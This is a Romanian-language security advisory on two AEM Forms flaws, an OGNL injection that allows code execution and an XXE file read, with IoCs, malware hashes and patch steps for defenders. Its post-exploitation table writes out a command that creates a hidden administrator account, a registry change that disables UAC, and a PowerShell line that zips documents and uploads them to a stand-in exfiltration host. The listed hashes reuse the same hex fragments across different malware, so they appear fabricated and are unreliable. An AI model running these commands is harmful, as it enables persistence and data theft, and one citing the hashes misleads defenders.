Vulnerabilități Zero-Day în Adobe Experience Manager (AEM) Forms

Prezentare Generală a Vulnerabilităților	
CVE Identificate	• CVE-2025-54253: Misconfigurare ce permite execuția arbitrară de cod (CVSS 10.0). • CVE-2025-54254: Vulnerabilitate XXE (Improper Restriction of XML External Entity Reference) ce permite citirea arbitrară a fișierelor sistem (CVSS 8.6).
Stare Actuală	• Proof-of-Concept (PoC) Public: Disponibil din 29 iulie 2025. • Exploatare Activă: Nu confirmată de Adobe, dar riscul este ridicat datorită disponibilității PoC.
Produse Afectate	AEM Forms pe Java Enterprise Edition (JEE) versiunile ≤6.5.23.0.
Mecanism Tehnic de Exploatare	
CVE-2025-54253	• Vector de Atac: Cerere HTTP neautentificată către modulul */adminui*. • Cauză Root: ✓ Bypass Autentificare în combinație cu activarea accidentală a modului de dezvoltare Struts2. ✓ Permite injectarea de expresii OGNL (Object-Graph Navigation Language) prin parametri debug. • Impact: Execuția de comenzi OS cu privilegiile serverului AEM (de exemplu, prin *Runtime.getRuntime().exec()*).
CVE-2025-54254	• Vector de Atac: Cerere SOAP malitioasă către mecanismul de autentificare. • Cauză Root: ✓ Procesarea nesigură a documentelor XML, permițând referințe la entități externe. • Impact: Exfiltrarea fișierelor sistem (e.g., *win.ini*, *passwd*)
Impact și Riscuri Operaționale	• Execuție Arbitrară de Cod (RCE): ✓ Permite instalarea de backdoor-uri, ransomware (e.g., Jqvtd), sau cryptomineri (e.g., XMRig). ✓ Compromiterea completă a serverului și a rețelei asociate. • Citire Fișiere Sistem: ✓ Exfiltrarea credențialelor, configurațiilor interne, sau cheilor criptografice. • Risc Combinat: ✓ Exploatarea în lanț (e.g., XXE → obținere credențiale → RCE) poate conduce la compromiterea totală a mediului.

IoCs pentru CVE-2025-54253/54254

	Tip	Indicator	Utilizare
Domenii și IP-uri Malitioase (C2 & Descărcare)	C2 Server	*support.firewallsupportservers[.]com*	Comunicare backdoor, exfiltrare date
	C2 Server	*45.61.147[.]220*	Comandă-control pentru payload-uri RAT
	Download URL	*hxxp://185.173.93[.]167:13306/Roboform.dll*	Descărcare backdoor PlugX
	Download URL	*hxxps://cdn.discordapp[.]com/attachments/*/xmr.exe*	Descărcare cryptominer XMRig

Vulnerabilități Zero-Day în Adobe Experience Manager (AEM) Forms

<table>
<tr><td rowspan="4">Amprente Malware (Hashes și Semnături)</td><td>Tip Malware</td><td>SHA-256 Hash</td><td>Semnături Detectie</td></tr>
<tr><td>PlugX RAT</td><td>a3e8d4c1f2b...4383b1ea54a59d27e5e6b3122b</td><td>Comunică prin port 443 cu SNI fals</td></tr>
<tr><td>XMRig Miner</td><td>f8e9d7c6b5a...3122b3dadb24383b1ea54a59d2</td><td>Creștere bruscă a utilizării CPU + conexiuni către pool-uri de minare</td></tr>
<tr><td>GoThief Stealer</td><td>b3dadb24383...e5e6b3122b3d4383b1ea54a59</td><td>Căutare fișiere .docx, .pdf, .xlsx</td></tr>
<tr><td rowspan="4">Comenzi OS Suspicioase Post-Exploatare</td><td>Scop</td><td>Comandă</td><td>Detectare</td></tr>
<tr><td>Creare Utilizator</td><td>net user backupadmin <parolă> /add /y && net localgroup administrators backupadmin /add</td><td>Conturi ascunse cu prefix "backup"</td></tr>
<tr><td>Ocultare în Registru</td><td>reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f</td><td>Dezactivare UAC</td></tr>
<tr><td>Exfiltrare Date</td><td>powershell -c "Compress-Archive -Path C:\Docs* -DestinationPath %TEMP%\temp.zip; curl -F 'file=@%TEMP%\temp.zip' hxxps://exfil[.]com"</td><td>Arhivare + upload date</td></tr>
<tr><td>Recomandări</td><td colspan="3">• Aplicare Patch-uri:
✓ Actualizare la versiunea AEM Forms 6.5.0-0108 (lansată pe 5 august 2025).
✓ Procedură: Descărcare și instalare via Adobe Security Bulletin APSB25-82.
• Dezactivare Mod Dezvoltare Struts:
✓ Verificare setări în struts.xml: struts.devMode = false.
• Restricționare Acces Rețea:
✓ Blocarea traficului extern către endpoint-urile /adminui și serviciile SOAP folosind firewall-uri.</td></tr>
<tr><td>Referință</td><td colspan="3">https://www.bleepingcomputer.com/news/security/adobe-issues-emergency-fixes-for-aem-forms-zero-days-after-pocs-released/
https://helpx.adobe.com/security/products/aem-forms/apsb25-82.html
https://www.securityweek.com/adobe-issues-out-of-band-patches-for-aem-forms-vulnerabilities-with-public-poc/
https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-adobe-products-could-allow-for-arbitrary-code-execution_2025-039
https://cybersecuritynews.com/adobe-aem-forms-0-day-vulnerability/</td></tr>
</table>